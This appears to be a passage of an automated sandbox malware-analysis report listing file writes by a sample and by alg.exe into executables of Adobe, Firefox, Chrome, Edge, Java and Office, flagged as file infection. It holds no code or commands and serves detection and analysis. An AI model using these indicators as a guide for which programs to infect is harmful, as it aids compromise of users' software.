Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to behavior
